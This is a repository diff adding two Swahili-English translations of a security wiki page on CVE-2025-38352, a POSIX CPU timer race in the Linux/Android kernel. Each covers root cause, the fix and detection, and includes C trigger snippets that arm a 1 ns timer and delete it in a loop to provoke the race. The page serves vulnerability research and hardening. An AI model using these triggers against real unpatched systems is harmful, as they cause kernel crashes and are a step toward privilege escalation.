Translated ['src/linux-hardening/privilege-escalation/linux-kernel-explo

src/SUMMARY.md

@@ -937,3 +937,5 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
+
+  - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)

src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md

@@ -0,0 +1,196 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Ukurasa huu unaandika kuhusu hali ya TOCTOU race katika POSIX CPU timers za Linux/Android ambayo inaweza kuharibu hali ya timer na kusababisha kernel ianguke, na katika baadhi ya mazingira inaweza kuelekezwa kuelekea privilege escalation.
+
+- Sehemu iliyoharibiwa: kernel/time/posix-cpu-timers.c
+- Primitivu: expiry vs deletion race under task exit
+- Inategemea usanidi: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Muhtasari mfupi wa ndani (relevant for exploitation)
+- Three CPU clocks drive accounting for timers via cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: utime only
+- CPUCLOCK_SCHED: task_sched_runtime()
+- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Arming huingiza kwenye per-base timerqueue na inaweza kusasisha next-expiry cache:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- Njia ya haraka inazuia usindikaji wa gharama kubwa isipokuwa vipindi vilivyohifadhiwa vya kumalizika vinavyoashiria uwezekano wa kuwashwa:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- Ukomeshaji hukusanya timers zilizokwisha muda, huziweka alama kuwa zinapigwa, huzihamisha nje ya foleni; utolewaji halisi umeahirishwa:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Njia mbili za kushughulikia kumalizika
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: kumalizika inacheleweshwa kupitia task_work kwenye kazi iliyolengwa
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: kumalizika kunashughulikiwa moja kwa moja katika muktadha wa IRQ
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+Katika njia ya muktadha wa IRQ, orodha ya kutekelezwa inashughulikiwa nje ya sighand
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
+
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- The target task is exiting but not fully reaped
+- Another thread concurrently calls posix_cpu_timer_del() for the same timer
+
+Sequence
+1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
+2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
+3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
+4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
+5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
+
+Why TASK_WORK mode is safe by design
+- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
+- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
+
+Fix (Android common kernel) and rationale
+- Add an early return if current task is exiting, gating all processing:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Hii inazuia kuingia handle_posix_cpu_timers() kwa kazi zinazoondoka, ikiondoa dirisha ambalo posix_cpu_timer_del() ingeweza kuikosa it.cpu.firing na race na expiry processing.
+
+Impact
+- Uharibifu wa kumbukumbu ya kernel wa miundo ya timer wakati wa expiry/ufutaji sambamba unaweza kusababisha crashes mara moja (DoS) na ni primitive yenye nguvu kuelekea privilege escalation kutokana na fursa za kufanya manipulation isiyotakikana ya kernel-state.
+
+Triggering the bug (safe, reproducible conditions)
+Build/config
+- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
+
+Runtime strategy
+- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
+- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- Kutoka kwa sibling thread, kufuta timer hiyo hiyo kwa wakati mmoja wakati target thread inapoacha:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Viongezaji vya race: kiwango cha juu cha scheduler tick, mzigo wa CPU, mizunguko ya mara kwa mara ya thread kuondoka/kuunda tena. Ajali kawaida inaonekana wakati posix_cpu_timer_del() inapopuuza kutambua firing kutokana na kushindwa kwa task lookup/locking mara baada ya unlock_task_sighand().
+
+Ugundaji na kuimarisha
+- Mitigation: tumia exit_state guard; ipendeze kuwezesha CONFIG_POSIX_CPU_TIMERS_TASK_WORK inapowezekana.
+- Observability: ongeza tracepoints/WARN_ONCE karibu na unlock_task_sighand()/posix_cpu_timer_del(); ifuatilie angalau mara it.cpu.firing==1 inapoonekana pamoja na kushindwa kwa cpu_timer_task_rcu()/lock_task_sighand(); angalia kutofanana kwa timerqueue karibu na exit ya task.
+
+Audit hotspots (for reviewers)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): sets ctmr->firing and moves nodes
+- handle_posix_cpu_timers(): drops sighand before firing loop
+- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
+
+Maelezo kwa exploitation research
+- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Chukulia PoC yoyote kama inayoweza kusababisha kutokuwa imara na endesha tu kwenye emulators/VMs.
+
+## References
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md

@@ -0,0 +1,196 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Ukurasa huu unaelezea hali ya ushindani ya TOCTOU katika Linux/Android POSIX CPU timers ambayo inaweza kuharibu hali ya timer na kusababisha kernel kuanguka (crash), na kwa baadhi ya mazingira inaweza kuelekezwa kuelekea privilege escalation.
+
+- Sehemu inayohusika: kernel/time/posix-cpu-timers.c
+- Primitive: expiry vs deletion race under task exit
+- Inategemea usanidi: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Muhtasari mfupi wa ndani (muhimu kwa exploitation)
+- Masaa matatu ya CPU yanaendesha uhasibu wa timers kupitia cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: utime only
+- CPUCLOCK_SCHED: task_sched_runtime()
+- Uundaji wa timer huunganisha timer na task/pid na huanzisha timerqueue nodes:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Arming huingiza kwenye per-base timerqueue na inaweza kusasisha next-expiry cache:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- Njia ya haraka huzuia usindikaji wa gharama kubwa isipokuwa maliziko yaliyohifadhiwa yanaonyesha uwezekano wa kutekelezwa:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- Expiration hukusanya taimeri zilizokwisha, huzitambua kama zimetumwa (firing), huzihamisha nje ya foleni; utolewaji halisi umecheleweshwa:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Njia mbili za usindikaji wa kumalizika
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: kumalizika kunacheleweshwa kupitia task_work kwenye target task
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: kumalizika kunashughulikiwa moja kwa moja katika IRQ context
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+Katika njia ya IRQ-context, firing list inashughulikiwa nje ya sighand
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU kati ya kuisha kwa wakati wa IRQ na kuondolewa kwa pamoja wakati wa task exit
+
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (njia ya IRQ inatumika)
+- The target task inatoka lakini haijachukuliwa kabisa
+- Another thread kwa wakati mmoja inaita posix_cpu_timer_del() kwa timer ile ile
+
+Sequence
+1) update_process_times() husababisha run_posix_cpu_timers() katika muktadha wa IRQ kwa task inayotoka.
+2) collect_timerqueue() inaweka ctmr->firing = 1 na kuhamisha timer kwenye orodha ya muda ya firing.
+3) handle_posix_cpu_timers() inaondoa sighand kupitia unlock_task_sighand() ili kusafirisha timers nje ya lock.
+4) Mara tu baada ya unlock, task inayotoka inaweza kuondolewa; thread ndugu inatekeleza posix_cpu_timer_del().
+5) Katika dirisha hili, posix_cpu_timer_del() inaweza kushindwa kupata state kupitia cpu_timer_task_rcu()/lock_task_sighand() na hivyo kuruka mlinzi wa kawaida wa in-flight unaokagua timer->it.cpu.firing. Ufutaji unaendelea kana kwamba hauna firing, ukaharibu state wakati expiry inashughulikiwa, kusababisha crashes/UB.
+
+Why TASK_WORK mode is safe by design
+- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry inaahirishwa kwa task_work; exit_task_work inakimbia kabla ya exit_notify, hivyo kuingiliana kwa wakati wa IRQ na kuondolewa hakutokee.
+- Hata hivyo, ikiwa task tayari inapotoka, task_work_add() inashindwa; kuegemea kwenye exit_state hufanya mode zote mbili ziwe sambamba.
+
+Fix (Android common kernel) and rationale
+- Add an early return if current task is exiting, gating all processing:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Hili linazuia kuingia handle_posix_cpu_timers() kwa kazi zinazoondoka, likiondoa dirisha ambapo posix_cpu_timer_del() inaweza kukosa it.cpu.firing na kushindana na usindikaji wa kumalizika.
+
+Athari
+- Uharibifu wa kumbukumbu ya kernel wa muundo za timer wakati wa kumalizika/futwa kwa wakati mmoja unaweza kusababisha crash mara moja (DoS) na ni njia-msingi yenye nguvu kuelekea privilege escalation kutokana na fursa za kuathiri arbitrary kernel-state.
+
+Kusababisha hitilafu (hali salama, zinazoweza kurudiwa)
+Ujenzi/konfig
+- Hakikisha CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n na tumia kernel isiyo na marekebisho ya exit_state gating.
+
+Mkakati wa runtime
+- Lenga thread ambayo iko karibu kuondoka na uambatise CPU timer kwake (per-thread au process-wide clock):
+- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Iamsha kwa muda mfupi sana wa kumalizika wa awali na kipindi kidogo ili kuongeza idadi ya kuingia za IRQ-path:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- Kutoka kwa thread ya ndugu, futa kwa wakati mmoja timer ile ile wakati thread lengwa inatoka:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Race amplifiers: kiwango cha juu cha scheduler tick, mzigo wa CPU, mizunguko ya repeated thread exit/re-create. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand().
+
+Utambuzi na kuimarisha
+- Kupunguza athari: tumia exit_state guard; pendelea kuwezesha CONFIG_POSIX_CPU_TIMERS_TASK_WORK inapowezekana.
+- Uwezo wa ufuatiliaji: ongeza tracepoints/WARN_ONCE karibu na unlock_task_sighand()/posix_cpu_timer_del(); toa tahadhari wakati it.cpu.firing==1 inapoonekana pamoja na kushindwa kwa cpu_timer_task_rcu()/lock_task_sighand(); angalia kwa kutokuelewana kwa timerqueue karibu na task exit.
+
+Sehemu za ukaguzi (kwa wakaguzi)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): inaweka ctmr->firing na inasogeza nodes
+- handle_posix_cpu_timers(): inaondoa sighand kabla ya firing loop
+- posix_cpu_timer_del(): inategemea it.cpu.firing kugundua in-flight expiry; ukaguzi huu unarukuliwa wakati task lookup/lock inashindwa wakati wa exit/reap
+
+Maelezo kwa exploitation research
+- Tabia iliyofichuliwa ni primitive thabiti ya kernel crash; kuibadilisha kuwa privilege escalation kawaida kunahitaji overlap ya ziada inayoweza kudhibitiwa (object lifetime au write-what-where influence) zaidi ya wigo wa muhtasari huu. Chukulia PoC yoyote kama inayoweza kusababisha kutegemeka na iendeshe tu katika emulators/VMs.
+
+## References
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}